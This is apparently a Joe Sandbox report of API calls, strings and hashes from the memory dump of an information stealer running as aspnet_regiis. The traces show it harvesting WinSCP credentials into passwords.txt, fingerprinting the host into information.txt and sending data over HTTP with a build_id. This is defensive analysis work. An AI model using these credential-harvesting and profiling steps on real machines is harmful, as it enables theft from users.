Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: 9cb75a7071ecb74fff9e56ced005ca6b64a065f8bcd1bf242cfed6becfa28f4e
Instruction ID: 1c66541d4828bd9326f921050ea70c7b79589cb9660c5b8585550bf775721ac0
Opcode Fuzzy Hash: 9cb75a7071ecb74fff9e56ced005ca6b64a065f8bcd1bf242cfed6becfa28f4e
Instruction Fuzzy Hash: B5D1D6B295012DAADF20EB91DC42BD9B778AF04308F5018EBA508B3151DA747FC9CFA5

Function 00405F39 Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,bb7310eab4245006f125c442da2d1e50,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

bb7310eab4245006f125c442da2d1e50, xrefs: 00406471
------, xrefs: 00406080
------, xrefs: 00406206
", xrefs: 00406445
build_id, xrefs: 00406419
------, xrefs: 004064C9
------, xrefs: 00406367
", xrefs: 004065A1
", xrefs: 004062E5
mode, xrefs: 00406575

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$bb7310eab4245006f125c442da2d1e50$build_id$mode
API String ID: 3702379033-4256281111
Opcode ID: 89793100b31f161b87fc7d4451beb843dbd63545ddb40e14516daf7b13bddfee
Instruction ID: 82dd920f4857eb4424cccb8e833476094bcda5e32b3baf042c939ae059a0737f
Opcode Fuzzy Hash: 89793100b31f161b87fc7d4451beb843dbd63545ddb40e14516daf7b13bddfee
Instruction Fuzzy Hash: FF22B9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 00418643 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00418684
GetProcAddress.KERNEL32 ref: 0041869B
GetProcAddress.KERNEL32 ref: 004186B2
GetProcAddress.KERNEL32 ref: 004186C9
GetProcAddress.KERNEL32 ref: 004186E0
GetProcAddress.KERNEL32 ref: 004186F7
GetProcAddress.KERNEL32 ref: 0041870E
GetProcAddress.KERNEL32 ref: 00418725
GetProcAddress.KERNEL32 ref: 0041873C
GetProcAddress.KERNEL32 ref: 00418753
GetProcAddress.KERNEL32 ref: 0041876A
GetProcAddress.KERNEL32 ref: 00418781
GetProcAddress.KERNEL32 ref: 00418798
GetProcAddress.KERNEL32 ref: 004187AF
GetProcAddress.KERNEL32 ref: 004187C6
GetProcAddress.KERNEL32 ref: 004187DD
GetProcAddress.KERNEL32 ref: 004187F4
GetProcAddress.KERNEL32 ref: 0041880B
GetProcAddress.KERNEL32 ref: 00418822
GetProcAddress.KERNEL32 ref: 00418839
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041884A
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041885B
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041886C
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041887D
LoadLibraryA.KERNEL32(?,004184C2), ref: 0041888E
GetProcAddress.KERNEL32(75B30000,004184C2), ref: 004188AA
GetProcAddress.KERNEL32(751E0000,004184C2), ref: 004188C5
GetProcAddress.KERNEL32 ref: 004188DC
GetProcAddress.KERNEL32(76910000,004184C2), ref: 004188F7
GetProcAddress.KERNEL32(75670000,004184C2), ref: 00418912
GetProcAddress.KERNEL32(77310000,004184C2), ref: 0041892D
GetProcAddress.KERNEL32 ref: 00418944

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 4153ecd493db34a1094e14b788043fe07f5e2afe7ddd22b5ff6fe96697fb63f9
Instruction ID: 2c76b628124a1797fdce28c748a09696ce6250a2eaa67b4899ff399dadce2328
Opcode Fuzzy Hash: 4153ecd493db34a1094e14b788043fe07f5e2afe7ddd22b5ff6fe96697fb63f9
Instruction Fuzzy Hash: 96711675910312AFEF1ADF60FD088243BA7F70874BF10A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: HeapAlloc.KERNEL32(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: RtlAllocateHeap.NTDLL(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
Part of subcall function 00410F51: RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411446
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411472

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Strings

Windows: , xrefs: 00413E70
Local Time: , xrefs: 0041414B
Keyboard Languages: , xrefs: 004140DE
Processor: , xrefs: 0041422D
MachineID: , xrefs: 00413C80
[Software], xrefs: 004144A3
HWID: , xrefs: 00413D4E
Threads: , xrefs: 004142EF
RAM: , xrefs: 00414350
Install Date: , xrefs: 00413ED1
Display Resolution: , xrefs: 0041406F
Computer Name: , xrefs: 00413FAD
Path: , xrefs: 00413DBB
User Name: , xrefs: 0041400E
Cores: , xrefs: 0041428E
GUID: , xrefs: 00413CE1
Work Dir: In memory, xrefs: 00413E30
[Hardware], xrefs: 0041420D
TimeZone: , xrefs: 004141AC
VideoCard: , xrefs: 004143B7
Version: , xrefs: 00413B9F
information.txt, xrefs: 00414573
AV: , xrefs: 00413F3E
Date: , xrefs: 00413C1F
[Processes], xrefs: 0041442A

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$AllocateCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 3634126619-1014693891
Opcode ID: 6126670baf250b2cd161e8f14be422fa99acf7c1130f51379d98b343847bea79
Instruction ID: 792dbb826b946587ba76db5a11b028a2a1d9662385358a0031bce88e61b043bf
Opcode Fuzzy Hash: 6126670baf250b2cd161e8f14be422fa99acf7c1130f51379d98b343847bea79
Instruction Fuzzy Hash: 2A527D71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB610771A1DBB87E8E8B98

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 0b36c14b47e0fd9c7b7447fafa283bbeba69ea66fa84174adce9456e951a1997
Instruction ID: 65d458a2be874082b650ad6ccfc12f730853009eff9118d7dbcfdf0fd3eb137e
Opcode Fuzzy Hash: 0b36c14b47e0fd9c7b7447fafa283bbeba69ea66fa84174adce9456e951a1997
Instruction Fuzzy Hash: CAE14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 004169B6 Relevance: 38.7, APIs: 8, Strings: 14, Instructions: 249
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

